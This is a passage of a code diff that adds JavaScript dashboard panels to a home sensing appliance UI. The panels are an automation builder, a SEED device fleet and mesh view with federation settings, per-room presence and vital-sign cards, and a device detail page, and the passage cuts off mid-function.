|
||||
function causalityBreadcrumb(c) {
|
||||
const wrap = h('.causality', { style: { padding: '8px 0 4px' } });
|
||||
wrap.appendChild(h('span.t2', { style: { marginRight: '8px' } }, 'Context chain'));
|
||||
const chain = [
|
||||
['id', c && c.id],
|
||||
['parent', c && c.parent_id],
|
||||
['grandparent', c && c.grandparent_id],
|
||||
].filter(([, v]) => v != null);
|
||||
if (!chain.length) {
|
||||
wrap.appendChild(h('span.t3', 'no context recorded for this event'));
|
||||
return wrap;
|
||||
}
|
||||
chain.forEach(([label, val], i) => {
|
||||
if (i > 0) wrap.appendChild(h('span.arr.t3', { style: { margin: '0 8px' } }, '→'));
|
||||
wrap.appendChild(h('span.flex.gap-sm', { style: { display: 'inline-flex' } },
|
||||
h('small.ts', label), mono(val)));
|
||||
});
|
||||
return wrap;
|
||||
}
|
||||
|
||||
// ── automation builder (trigger → condition → action) ─────────────────
|
||||
const TRIGGERS = [
|
||||
{ id: 'state_changed', label: 'state_changed on RoomState entity' },
|
||||
{ id: 'seed_reflex', label: 'SEED reflex rule fired' },
|
||||
{ id: 'custom_event', label: 'custom domain_event topic' },
|
||||
];
|
||||
const REFLEX_RULES = ['fragility_alarm', 'hd_anomaly_indicator'];
|
||||
const ACTION_KINDS = [
|
||||
{ id: 'call_service', label: 'Call service' },
|
||||
{ id: 'fire_event', label: 'Fire domain event' },
|
||||
];
|
||||
|
||||
function automationBuilder(api) {
|
||||
const rules = [];
|
||||
const listHost = h('div');
|
||||
|
||||
// Default callable-service options; enriched asynchronously from the
|
||||
// live service registry when reachable (failures are swallowed — the
|
||||
// builder stays usable with defaults, and we never leave a dangling
|
||||
// rejected promise in production).
|
||||
const serviceOpts = ['light.turn_on', 'light.turn_off', 'notify.mobile', 'homecore.recalibrate_room'];
|
||||
Promise.resolve()
|
||||
.then(() => api.services())
|
||||
.then((services) => {
|
||||
(services || []).forEach((s) => {
|
||||
const name = (s.domain && s.service) ? `${s.domain}.${s.service}` : String(s.name || s.id || s);
|
||||
if (name && !serviceOpts.includes(name)) { serviceOpts.push(name); serviceSel.appendChild(h('option', { value: name }, name)); }
|
||||
});
|
||||
})
|
||||
.catch(() => {});
|
||||
|
||||
// ── trigger editor ──
|
||||
const triggerSel = sel(TRIGGERS.map((t) => [t.id, t.label]));
|
||||
const thresholdInput = h('input.search.mono', { type: 'text', placeholder: 'threshold expression — e.g. anomaly.value > 0.8' });
|
||||
const reflexSel = sel(REFLEX_RULES.map((r) => [r, r]));
|
||||
const customInput = h('input.search.mono', { type: 'text', placeholder: 'domain_event topic — e.g. presence.regime_change' });
|
||||
const triggerExtra = h('div', { style: { marginTop: '8px' } });
|
||||
function paintTriggerExtra() {
|
||||
clear(triggerExtra);
|
||||
if (triggerSel.value === 'state_changed') triggerExtra.appendChild(thresholdInput);
|
||||
else if (triggerSel.value === 'seed_reflex') triggerExtra.appendChild(field('Reflex rule', reflexSel));
|
||||
else triggerExtra.appendChild(customInput);
|
||||
}
|
||||
triggerSel.addEventListener('change', paintTriggerExtra);
|
||||
paintTriggerExtra();
|
||||
|
||||
// ── condition editor ──
|
||||
const conditionInput = h('input.search.mono', { type: 'text', placeholder: 'condition expression — e.g. room.living_room.presence == "occupied"' });
|
||||
|
||||
// ── action editor ──
|
||||
const actionSel = sel(ACTION_KINDS.map((a) => [a.id, a.label]));
|
||||
const serviceSel = sel(serviceOpts.map((s) => [s, s]));
|
||||
const eventInput = h('input.search.mono', { type: 'text', placeholder: 'domain event to fire — e.g. automation.lr_night_dim' });
|
||||
const actionExtra = h('div', { style: { marginTop: '8px' } });
|
||||
function paintActionExtra() {
|
||||
clear(actionExtra);
|
||||
if (actionSel.value === 'call_service') actionExtra.appendChild(field('Service', serviceSel));
|
||||
else actionExtra.appendChild(eventInput);
|
||||
}
|
||||
actionSel.addEventListener('change', paintActionExtra);
|
||||
paintActionExtra();
|
||||
|
||||
function buildTrigger() {
|
||||
if (triggerSel.value === 'state_changed') return { kind: 'state_changed', entity: 'RoomState', threshold: thresholdInput.value.trim() };
|
||||
if (triggerSel.value === 'seed_reflex') return { kind: 'seed_reflex', rule: reflexSel.value };
|
||||
return { kind: 'custom_event', topic: customInput.value.trim() };
|
||||
}
|
||||
function buildAction() {
|
||||
if (actionSel.value === 'call_service') return { kind: 'call_service', service: serviceSel.value };
|
||||
return { kind: 'fire_event', event: eventInput.value.trim() };
|
||||
}
|
||||
|
||||
const addBtn = button('Add automation', {
|
||||
variant: 'primary',
|
||||
onClick: () => {
|
||||
rules.push({ trigger: buildTrigger(), condition: conditionInput.value.trim(), action: buildAction() });
|
||||
thresholdInput.value = ''; customInput.value = ''; conditionInput.value = ''; eventInput.value = '';
|
||||
renderRules();
|
||||
},
|
||||
});
|
||||
|
||||
function renderRules() {
|
||||
clear(listHost);
|
||||
if (!rules.length) { listHost.appendChild(h('.muted-empty', 'No automations defined yet (UI-only — not persisted).')); return; }
|
||||
rules.forEach((r, i) => listHost.appendChild(ruleCard(r, i, () => { rules.splice(i, 1); renderRules(); })));
|
||||
}
|
||||
renderRules();
|
||||
|
||||
const builder = card({
|
||||
title: 'Automation builder',
|
||||
children: [
|
||||
h('.t3.mb', 'Trigger → condition → action (ADR-129). UI scope only — assembled rules are held locally, not persisted to the appliance.'),
|
||||
h('.grid.cols-3',
|
||||
card({ title: 'Trigger', tint: null, children: [field('When', triggerSel), triggerExtra] }),
|
||||
card({ title: 'Condition', children: [field('And', conditionInput)] }),
|
||||
card({ title: 'Action', children: [field('Then', actionSel), actionExtra] })),
|
||||
h('.flex.mt', addBtn),
|
||||
],
|
||||
});
|
||||
|
||||
return h('div', builder, card({ title: 'Defined automations', children: [listHost] }));
|
||||
}
|
||||
|
||||
function ruleCard(r, i, onDelete) {
|
||||
return card({
|
||||
children: [
|
||||
h('.flex.spread',
|
||||
h('strong', 'Automation #' + (i + 1)),
|
||||
button('Remove', { variant: 'ghost', onClick: onDelete })),
|
||||
h('.flex.gap-sm.wrap.mt',
|
||||
pill('TRIGGER', 'cyan'), triggerSummary(r.trigger)),
|
||||
r.condition
|
||||
? h('.flex.gap-sm.wrap.mt', pill('IF', 'amber'), mono(r.condition))
|
||||
: h('.flex.gap-sm.wrap.mt', pill('IF', 'grey'), h('span.t3', 'always')),
|
||||
h('.flex.gap-sm.wrap.mt',
|
||||
pill('ACTION', 'purple'), actionSummary(r.action)),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
function triggerSummary(t) {
|
||||
if (t.kind === 'state_changed') return h('span', mono('RoomState'), ' ', t.threshold ? mono(t.threshold) : h('span.t3', '(any change)'));
|
||||
if (t.kind === 'seed_reflex') return h('span', h('span.t2', 'reflex '), mono(t.rule || '—'));
|
||||
return h('span', h('span.t2', 'event '), mono(t.topic || '—'));
|
||||
}
|
||||
function actionSummary(a) {
|
||||
if (a.kind === 'call_service') return h('span', h('span.t2', 'call '), mono(a.service || '—'));
|
||||
return h('span', h('span.t2', 'fire '), mono(a.event || '—'));
|
||||
}
|
||||
|
||||
// ── small form helpers ────────────────────────────────────────────────
|
||||
function sel(pairs) {
|
||||
const s = h('select.inline', { style: { width: '100%' } });
|
||||
for (const [val, label] of pairs) {
|
||||
const o = document.createElement('option');
|
||||
o.value = val; o.textContent = label;
|
||||
s.appendChild(o);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
function field(label, control) {
|
||||
return h('label', { style: { display: 'block', marginTop: '8px' } },
|
||||
h('span.k.t2', { style: { display: 'block', marginBottom: '4px', fontSize: '12.5px' } }, label),
|
||||
control);
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
// §4.2 SEED Fleet overview + §4.3 SEED Fleet Map (node topology +
|
||||
// ESP-NOW mesh + cross-SEED event dedup) + ADR-105 federation config.
|
||||
//
|
||||
// One panel covering: the fleet card grid, the v0→SEED→ESP32 node
|
||||
// hierarchy, the mesh-link table, the cross-SEED fusion badges, and the
|
||||
// federation round config — with the §3.3 "model deltas only — never raw
|
||||
// CSI" invariant surfaced prominently (ADR-105 privacy guarantee).
|
||||
|
||||
import { h, card, pill, statusPill, sectionHeader, relTime, banner } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'SEED Fleet' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
|
||||
root.appendChild(sectionHeader('SEED Fleet', 'Cross-SEED topology, ESP-NOW mesh & ADR-105 federation'));
|
||||
|
||||
// ── Load seeds + federation independently so one failing upstream
|
||||
// doesn't blank the whole panel (ADR-131 §2.2 / §11.11). ───────
|
||||
let seeds = null, fed = null;
|
||||
try { seeds = await api.seeds(); } catch (e) {
|
||||
root.appendChild(banner('SEED fleet unavailable — ' + (e.message || e)
|
||||
+ (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
|
||||
}
|
||||
try { fed = await api.federation(); } catch (e) {
|
||||
root.appendChild(banner('SEED fleet unavailable — ' + (e.message || e)
|
||||
+ (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
|
||||
}
|
||||
|
||||
if (api.isDemo('fleet')) {
|
||||
root.appendChild(h('.banner.amber',
|
||||
'DEMO — the SEED HTTPS API and the ADR-105 federation service are not served by this homecore-server binary. '
|
||||
+ 'These panels render against their defined contract with contract-conformant mock data (ADR-131 §7.1).'));
|
||||
}
|
||||
|
||||
// ── §4.2 SEED fleet overview ──────────────────────────────────────
|
||||
if (seeds) {
|
||||
root.appendChild(h('h2', 'Fleet overview'));
|
||||
const grid = h('.grid.cols-3');
|
||||
seeds.forEach((s) => grid.appendChild(seedCard(s, ctx)));
|
||||
root.appendChild(grid);
|
||||
|
||||
// ── §4.3 Node hierarchy (v0 → SEED → ESP32) ─────────────────────
|
||||
root.appendChild(card({ title: 'Node hierarchy', children: [hierarchy(seeds)] }));
|
||||
}
|
||||
|
||||
if (fed) {
|
||||
// ── §4.3 ESP-NOW mesh links ─────────────────────────────────────
|
||||
root.appendChild(card({ title: 'ESP-NOW mesh links', children: [meshLinks(fed.mesh_links)] }));
|
||||
|
||||
// ── Cross-SEED event dedup / fusion ─────────────────────────────
|
||||
root.appendChild(card({ title: 'Cross-SEED event dedup', children: [fusionBadges(fed.fused_events)] }));
|
||||
|
||||
// ── ADR-105 federation config ───────────────────────────────────
|
||||
root.appendChild(federationConfig(fed));
|
||||
}
|
||||
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
// ── §4.2 SEED card ──────────────────────────────────────────────────
|
||||
function seedCard(s, ctx) {
|
||||
const offline = !s.online;
|
||||
return card({
|
||||
tint: offline ? 'red' : null, clickable: true,
|
||||
onClick: () => ctx.navigate('#/seed/' + s.device_id),
|
||||
children: [
|
||||
h('.flex.spread',
|
||||
h('strong.mono', s.device_id),
|
||||
statusPill(s.online ? 'online' : 'offline')),
|
||||
h('.kv.mt',
|
||||
h('span.k', 'Zone'), h('span.v', s.zone),
|
||||
h('span.k', 'Firmware'), h('span.v.mono', s.firmware),
|
||||
h('span.k', 'Epoch'), h('span.v.purple', String(s.epoch)),
|
||||
h('span.k', 'Vectors'), h('span.v', (s.vector_count || 0).toLocaleString()),
|
||||
h('span.k', 'Last ingest'), h('span.v', relTime(s.last_ingest))),
|
||||
h('.flex.wrap.gap-sm.mt',
|
||||
s.witness_valid ? pill('witness valid', 'green') : pill('witness invalid', 'red')),
|
||||
sensorSummary(s.sensors),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
function sensorSummary(sensors) {
|
||||
if (!sensors) return h('.muted-empty', 'sensors offline');
|
||||
return h('.flex.wrap.gap-sm.mt',
|
||||
pill('PIR ' + (sensors.pir.motion ? 'motion' : 'still'), sensors.pir.motion ? 'amber' : 'grey'),
|
||||
pill('door ' + (sensors.reed.open ? 'open' : 'closed'), sensors.reed.open ? 'amber' : 'grey'),
|
||||
pill(sensors.bme280.temp_c + '°C', 'cyan'));
|
||||
}
|
||||
|
||||
// ── §4.3 Node hierarchy diagram (nested indented rows) ──────────────
|
||||
// v0 Appliance (ROOT) → SEEDs grouped by zone → ESP32 nodes (leaves).
|
||||
function hierarchy(seeds) {
|
||||
const wrap = h('.mono', { style: { fontSize: '12.5px', lineHeight: '1.9' } });
|
||||
|
||||
// ROOT — the v0 appliance.
|
||||
wrap.appendChild(treeRow(0, '●', 'cog-v0-appliance', pill('ROOT', 'purple'), null));
|
||||
|
||||
// Second tier — SEEDs grouped by .zone.
|
||||
const byZone = groupBy(seeds, (s) => s.zone || 'unzoned');
|
||||
const zones = Object.keys(byZone);
|
||||
zones.forEach((zone, zi) => {
|
||||
const lastZone = zi === zones.length - 1;
|
||||
wrap.appendChild(treeRow(1, lastZone ? '└─' : '├─', zone, pill('zone', 'cyan'), null, true));
|
||||
|
||||
const zoneSeeds = byZone[zone];
|
||||
zoneSeeds.forEach((s, si) => {
|
||||
const lastSeed = si === zoneSeeds.length - 1;
|
||||
wrap.appendChild(treeRow(2, lastSeed ? '└─' : '├─', s.device_id,
|
||||
statusPill(s.online ? 'online' : 'offline'), null));
|
||||
|
||||
// Leaves — the ESP32 nodes attached to this SEED.
|
||||
const nodes = (s.ingest && s.ingest.esp32) || [];
|
||||
if (!nodes.length) {
|
||||
wrap.appendChild(treeRow(3, '·', '(no ESP32 nodes)', null, null, true));
|
||||
}
|
||||
nodes.forEach((n, ni) => {
|
||||
const lastNode = ni === nodes.length - 1;
|
||||
wrap.appendChild(treeRow(3, lastNode ? '└─' : '├─', n.node_id,
|
||||
pill(n.rate_hz + ' Hz', 'grey'), n.packet));
|
||||
});
|
||||
});
|
||||
});
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function treeRow(depth, connector, label, badge, suffix, muted) {
|
||||
const row = h('.flex.gap-sm', { style: { paddingLeft: (depth * 18) + 'px' } });
|
||||
row.appendChild(h('span.t3', connector));
|
||||
row.appendChild(h(muted ? 'span.t3' : 'span', label));
|
||||
if (badge) row.appendChild(badge);
|
||||
if (suffix) row.appendChild(h('span.t3', suffix));
|
||||
return row;
|
||||
}
|
||||
|
||||
// ── §4.3 ESP-NOW mesh links (dashed rows coloured by .health) ───────
|
||||
function meshLinks(links) {
|
||||
if (!links || !links.length) return h('.muted-empty', 'no mesh links reported');
|
||||
const wrap = h('div');
|
||||
const colour = { green: 'green', amber: 'amber', red: 'red' };
|
||||
links.forEach((l) => {
|
||||
const k = colour[l.health] || 'grey';
|
||||
wrap.appendChild(h('.flex.gap-sm', { style: { padding: '6px 0' } },
|
||||
h('span.mono', l.a),
|
||||
h(`span.${k}`, { style: { letterSpacing: '1px' } }, '╌╌╌'),
|
||||
h('span.mono', l.b),
|
||||
pill(l.health, k)));
|
||||
});
|
||||
return wrap;
|
||||
}
|
||||
|
||||
// ── Cross-SEED event dedup — fusion badges (kind + n contributing) ──
|
||||
function fusionBadges(events) {
|
||||
if (!events || !events.length) return h('.muted-empty', 'no fused cross-SEED events');
|
||||
const wrap = h('.flex.wrap.gap-sm');
|
||||
events.forEach((e) => {
|
||||
const seeds = (e.seeds || []).join(', ');
|
||||
wrap.appendChild(h('span.flex.gap-sm', { style: { alignItems: 'center' } },
|
||||
pill(e.kind, 'cyan'),
|
||||
pill(e.n + ' SEEDs', 'purple'),
|
||||
h('span.t2.mono', { style: { fontSize: '11px' } }, seeds)));
|
||||
});
|
||||
return wrap;
|
||||
}
|
||||
|
||||
// ── ADR-105 federation config ───────────────────────────────────────
|
||||
function federationConfig(fed) {
|
||||
const body = h('div');
|
||||
|
||||
// CRITICAL invariant — the "model deltas only, never raw CSI" guarantee.
|
||||
body.appendChild(h('.banner.purple',
|
||||
{ style: { background: 'var(--purple-d)', color: 'var(--purple)', border: '0.67px solid var(--purple)' } },
|
||||
h('strong', 'Federation invariant: '),
|
||||
h('span.mono', fed.invariant)));
|
||||
|
||||
body.appendChild(h('.kv.mt',
|
||||
h('span.k', 'Coordinator SEED'), h('span.v.mono', fed.coordinator),
|
||||
h('span.k', 'Round'), h('span.v.purple', String(fed.round)),
|
||||
h('span.k', 'k_healthy'), h('span.v', String(fed.k_healthy)),
|
||||
h('span.k', 'Delta status'), statusPill(fed.delta_status === 'exchanging' ? 'updating' : fed.delta_status),
|
||||
h('span.k', 'Krum (f)'), h('span.v', String(fed.krum && fed.krum.f)),
|
||||
h('span.k', 'Krum mode'), h('span.v', fed.krum && fed.krum.multi ? 'multi-Krum' : 'Krum'),
|
||||
h('span.k', 'Cadence'), h('span.v', (fed.cadence_min != null ? fed.cadence_min + ' min' : '—'))));
|
||||
|
||||
return card({ title: 'Federation config (ADR-105)', accent: true, children: [body] });
|
||||
}
|
||||
|
||||
// ── helpers ─────────────────────────────────────────────────────────
|
||||
function groupBy(arr, keyFn) {
|
||||
const out = {};
|
||||
for (const item of arr) {
|
||||
const k = keyFn(item);
|
||||
(out[k] || (out[k] = [])).push(item);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
// §4.5 RoomState / Sensing Panel — mixture-of-specialists output.
|
||||
// Per-room cards from GET /api/v1/room/state?bank=<room_id>.
|
||||
//
|
||||
// UX invariants (§4.5/§6): STALE and VETOED are never subtle; veto-
|
||||
// suppressed values render as withheld, NOT zero; null specialists are
|
||||
// "Not trained" (calibrate to enable), visually distinct from errors.
|
||||
|
||||
import { h, card, pill, statusPill, sectionHeader, bar, confidenceBar, banner, button } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Rooms' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
root.appendChild(sectionHeader('RoomState / Sensing', 'Highest-level per-room sensing from the calibration mixture-of-specialists'));
|
||||
let rooms;
|
||||
try {
|
||||
rooms = await api.roomStates();
|
||||
} catch (e) {
|
||||
root.appendChild(banner(`RoomState unavailable — ${e && e.message ? e.message : e}. ${e && e.upstreamUnavailable ? 'Calibration service (ADR-151) not reachable through the gateway.' : ''}`, 'red'));
|
||||
return () => {};
|
||||
}
|
||||
if (api.isDemo('rooms')) root.appendChild(banner('DEMO mode (?demo=1) — fixture RoomState, not live calibration output (ADR-131 §2.2).', 'amber'));
|
||||
if (!rooms.length) { root.appendChild(h('.muted-empty', 'No calibrated rooms yet — run the Calibration wizard to enable sensing.')); return () => {}; }
|
||||
const grid = h('.grid.cols-2');
|
||||
rooms.forEach((r) => grid.appendChild(roomCard(r, ctx)));
|
||||
root.appendChild(grid);
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
function roomCard(r, ctx) {
|
||||
const tint = r.stale ? 'amber' : (r.vetoed ? 'red' : null);
|
||||
const children = [
|
||||
h('.flex.spread',
|
||||
h('strong.mono', r.room_id),
|
||||
h('.flex.gap-sm',
|
||||
r.seeds.length > 1 ? pill(r.seeds.length + ' seeds fused', 'purple') : null,
|
||||
r.vetoed ? pill('veto active', 'red') : null,
|
||||
r.stale ? pill('stale', 'amber') : null)),
|
||||
];
|
||||
|
||||
// STALE banner — must never be subtle (§4.5)
|
||||
if (r.stale) {
|
||||
children.push(banner('Bank stale — baseline has changed', 'amber',
|
||||
button('Recalibrate room', { variant: 'ghost', onClick: () => ctx.navigate('#/calibration') })));
|
||||
}
|
||||
if (r.vetoed) {
|
||||
children.push(banner('Anomaly veto active — implausible window; vitals/posture withheld', 'red'));
|
||||
}
|
||||
|
||||
children.push(specRow('Presence', presenceChip(r.presence), r.presence));
|
||||
children.push(specRow('Posture', postureView(r), r.posture));
|
||||
children.push(vitalRow('Breathing', r.breathing_bpm, 'BPM', [6, 30], r));
|
||||
children.push(vitalRow('Heart rate', r.heart_bpm, 'BPM', [40, 120], r));
|
||||
children.push(specRow('Restlessness', barOr(r.restlessness, 1), r.restlessness));
|
||||
children.push(anomalyRow(r.anomaly));
|
||||
|
||||
return card({ tint, children });
|
||||
}
|
||||
|
||||
function specRow(label, valueNode, spec) {
|
||||
const right = h('.flex.gap-sm');
|
||||
right.appendChild(valueNode);
|
||||
if (spec && spec.confidence != null) right.appendChild(confidenceBar(spec.confidence));
|
||||
return h('.row', h('span.k', label), right);
|
||||
}
|
||||
|
||||
function presenceChip(p) {
|
||||
if (!p) return notTrainedNode(); // null = not trained
|
||||
return statusPill(p.value); // occupied → green, absent → grey
|
||||
}
|
||||
|
||||
function postureView(r) {
|
||||
if (r.posture === null) return notTrainedNode(); // not trained
|
||||
if (r.vetoed && (!r.posture || r.posture.value == null)) return withheld(); // suppressed, not zero
|
||||
if (!r.posture || r.posture.value == null) return withheld();
|
||||
return statusPill(r.posture.value);
|
||||
}
|
||||
|
||||
function vitalRow(label, spec, unit, range, r) {
|
||||
let valueNode;
|
||||
if (spec === null) valueNode = notTrainedNode();
|
||||
else if (r.vetoed && (spec.value == null)) valueNode = withheld();
|
||||
else if (spec.value == null) valueNode = withheld();
|
||||
else valueNode = h('span.cyan', `${spec.value} ${unit} `, h('span.t3', `(${range[0]}–${range[1]})`));
|
||||
return specRow(label, valueNode, spec);
|
||||
}
|
||||
|
||||
function anomalyRow(a) {
|
||||
if (!a) return specRow('Anomaly', notTrainedNode(), null);
|
||||
// §6 honesty: a null threshold is WITHHELD (the upstream RoomState carried
|
||||
// none) — show the value but flag the threshold as unavailable rather than
|
||||
// judging anomalous/normal against a fabricated 0.8 default.
|
||||
if (a.threshold == null) {
|
||||
const wrap = h('div', { style: { width: '160px' } },
|
||||
bar(a.value, 1),
|
||||
h('small.ts', { title: 'no anomaly threshold from upstream — withheld' }, `${a.value} · threshold —`));
|
||||
return specRow('Anomaly', wrap, a);
|
||||
}
|
||||
const over = a.value > a.threshold;
|
||||
const b = bar(a.value, 1, [{ lt: a.threshold, color: 'green' }, { lt: 1.01, color: 'red' }]);
|
||||
const wrap = h('div', { style: { width: '160px' } }, b,
|
||||
h('small.ts', over ? 'anomalous' : 'normal', ` · ${a.value}`));
|
||||
return specRow('Anomaly', wrap, a);
|
||||
}
|
||||
|
||||
function barOr(spec, max) {
|
||||
if (spec === null) return notTrainedNode();
|
||||
if (!spec || spec.value == null) return withheld();
|
||||
const wrap = h('div', { style: { width: '140px' } }, bar(spec.value, max), h('small.ts', String(spec.value)));
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function notTrainedNode() {
|
||||
return h('span.t3', { title: 'null specialist — calibrate to enable' }, 'Not trained');
|
||||
}
|
||||
function withheld() {
|
||||
return h('span.red', { title: 'suppressed by veto — value withheld, not zero' }, '— withheld');
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
// §4.2 SEED Detail View — the per-device deep dive (route #/seed/<id>).
|
||||
//
|
||||
// Vector store + witness chain (Ed25519 custody) + onboard sensors +
|
||||
// reflex rules + cognitive (boundary fragility) analysis + ingest
|
||||
// pipeline. Backed by the SEED HTTPS API (mock until the live endpoint
|
||||
// lands → DEMO badge, §7.1). Honesty invariants (§6): null fragility /
|
||||
// null sensors render muted, never as zero.
|
||||
|
||||
import {
|
||||
h, card, pill, statusPill, sectionHeader, bar, banner, button, mono, kv,
|
||||
sparkline, errorCard, relTime,
|
||||
} from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'SEED Detail' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
let s;
|
||||
try {
|
||||
s = await api.seed(ctx.params.id);
|
||||
} catch (e) {
|
||||
root.appendChild(sectionHeader('SEED Detail', ctx.params.id));
|
||||
root.appendChild(banner('SEED unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
|
||||
root.appendChild(card({ children: [button('← Back to fleet', { onClick: () => ctx.navigate('#/fleet') })] }));
|
||||
return () => {};
|
||||
}
|
||||
|
||||
if (!s) {
|
||||
root.appendChild(sectionHeader('SEED Detail', ctx.params.id));
|
||||
root.appendChild(errorCard(`No SEED with device_id "${ctx.params.id}"`));
|
||||
root.appendChild(card({ children: [button('← Back to fleet', { onClick: () => ctx.navigate('#/fleet') })] }));
|
||||
return () => {};
|
||||
}
|
||||
|
||||
root.appendChild(sectionHeader('SEED Detail', s.zone));
|
||||
if (api.isDemo('fleet')) {
|
||||
root.appendChild(banner('DEMO — SEED HTTPS API not served by this binary; showing contract-conformant data (§7.1).', 'amber'));
|
||||
}
|
||||
|
||||
root.appendChild(identityCard(s, ctx));
|
||||
root.appendChild(vectorStoreCard(s));
|
||||
root.appendChild(witnessCard(s));
|
||||
root.appendChild(sensorsCard(s));
|
||||
root.appendChild(reflexCard(s));
|
||||
root.appendChild(cognitionCard(s));
|
||||
root.appendChild(ingestCard(s));
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
// ── 1. identity header ────────────────────────────────────────────────
|
||||
function identityCard(s, ctx) {
|
||||
return card({
|
||||
children: [
|
||||
sectionHeader(s.device_id, `Firmware ${s.firmware} · ${s.zone}`),
|
||||
h('.flex.spread',
|
||||
statusPill(s.online ? 'online' : 'offline'),
|
||||
button('← Fleet', { onClick: () => ctx.navigate('#/fleet') })),
|
||||
kv([
|
||||
['Firmware', mono(s.firmware)],
|
||||
['Paired', pill('paired', 'green')],
|
||||
['Conn mode', pill(s.conn, s.conn === 'usb' ? 'cyan' : 'purple')],
|
||||
['Zone', s.zone],
|
||||
]),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── 2. vector store ───────────────────────────────────────────────────
|
||||
function vectorStoreCard(s) {
|
||||
const over = s.storage_budget > 0 && s.storage_used / s.storage_budget > 0.8;
|
||||
const storeBar = bar(s.storage_used, s.storage_budget, [{ lt: 0.8, color: 'cyan' }, { lt: 1.01, color: 'amber' }]);
|
||||
const series = Array.from({ length: 24 }, (_, i) => s.knn_latency_ms != null ? +(s.knn_latency_ms + Math.sin(i / 2) * 0.4).toFixed(2) : 0);
|
||||
|
||||
let compacted = false;
|
||||
const compactBtn = button('Compact now', {
|
||||
onClick: () => {
|
||||
if (compacted) return;
|
||||
compacted = true;
|
||||
compactBtn.disabled = true;
|
||||
compactBtn.textContent = 'Compaction queued';
|
||||
console.log('[seed-detail] POST /api/v1/store/compact', s.device_id); // production call
|
||||
},
|
||||
});
|
||||
|
||||
return card({
|
||||
title: 'Vector Store',
|
||||
children: [
|
||||
kv([
|
||||
['Vectors', s.vector_count.toLocaleString()],
|
||||
['Dimension', mono(String(s.vector_dim))],
|
||||
['kNN latency', s.knn_latency_ms != null ? h('span.cyan', s.knn_latency_ms + ' ms') : h('span.t3', '— offline')],
|
||||
['Epoch', h('span.purple', String(s.epoch))],
|
||||
['kNN latency trend', sparkline(series, { w: 160, hgt: 28 })],
|
||||
]),
|
||||
h('.flex.spread.mt',
|
||||
h('span.t2', `Storage — ${s.storage_used.toLocaleString()} / ${s.storage_budget.toLocaleString()}`),
|
||||
over ? pill('budget > 80%', 'amber') : pill('headroom', 'green')),
|
||||
storeBar,
|
||||
over ? banner('Vector store nearing budget — compaction recommended.', 'amber') : null,
|
||||
h('.mt', compactBtn),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── 3. witness chain ──────────────────────────────────────────────────
|
||||
function witnessCard(s) {
|
||||
const verifyBtn = button('Verify chain', {
|
||||
onClick: () => console.log('[seed-detail] verify witness chain', s.device_id),
|
||||
});
|
||||
const exportBtn = button('Export attestation bundle', {
|
||||
onClick: () => console.log('[seed-detail] export attestation bundle', s.device_id),
|
||||
});
|
||||
return card({
|
||||
title: 'Witness Chain',
|
||||
children: [
|
||||
kv([
|
||||
['Chain length', h('span.purple', s.witness_len.toLocaleString())],
|
||||
['Status', s.witness_valid ? pill('valid', 'green') : pill('invalid', 'red')],
|
||||
['Last verify', relTime(s.witness_last_verify)],
|
||||
]),
|
||||
h('.flex.gap-sm.mt', verifyBtn, exportBtn),
|
||||
h('small.ts',
|
||||
'Ed25519 custody attestation — device-bound keypair signs (epoch + vector count + witness head): ',
|
||||
mono(`epoch=${s.epoch} · vectors=${s.vector_count} · head=${s.witness_len}`)),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── 4. onboard sensors ────────────────────────────────────────────────
|
||||
function sensorsCard(s) {
|
||||
if (!s.sensors) {
|
||||
return card({ title: 'Onboard Sensors', children: [h('.muted-empty', 'sensors offline')] });
|
||||
}
|
||||
const x = s.sensors;
|
||||
const grid = h('.grid.cols-3',
|
||||
subCard('BME280', [
|
||||
sub('Temp', h('span.cyan', x.bme280.temp_c + ' °C')),
|
||||
sub('Humidity', h('span.cyan', x.bme280.humidity_pct + ' %')),
|
||||
sub('Pressure', h('span.cyan', x.bme280.pressure_hpa + ' hPa')),
|
||||
]),
|
||||
subCard('PIR', [
|
||||
sub('Motion', x.pir.motion ? pill('motion', 'amber') : pill('still', 'grey')),
|
||||
sub('Last trigger', h('span.t2', relTime(x.pir.last_trigger))),
|
||||
]),
|
||||
subCard('Reed', [
|
||||
sub('State', x.reed.open ? pill('open', 'amber') : pill('closed', 'grey')),
|
||||
sub('Last change', h('span.t2', relTime(x.reed.last_change))),
|
||||
]),
|
||||
subCard('ADS1115', x.ads1115.map((ch) => sub(ch.label, h('span.cyan', String(ch.v))))),
|
||||
subCard('Vibration', [
|
||||
sub('State', x.vibration.active ? pill('active', 'amber') : pill('idle', 'grey')),
|
||||
sub('Last trigger', h('span.t2', relTime(x.vibration.last_trigger))),
|
||||
]),
|
||||
);
|
||||
return card({ title: 'Onboard Sensors', children: [grid] });
|
||||
}
|
||||
|
||||
function subCard(name, rows) {
|
||||
return card({ children: [h('h3', name), ...rows] });
|
||||
}
|
||||
function sub(name, valueNode) {
|
||||
return h('.row', h('span.k.t2', name), valueNode instanceof Node ? valueNode : h('span.cyan', String(valueNode)));
|
||||
}
|
||||
|
||||
// ── 5. reflex rules ───────────────────────────────────────────────────
|
||||
function reflexCard(s) {
|
||||
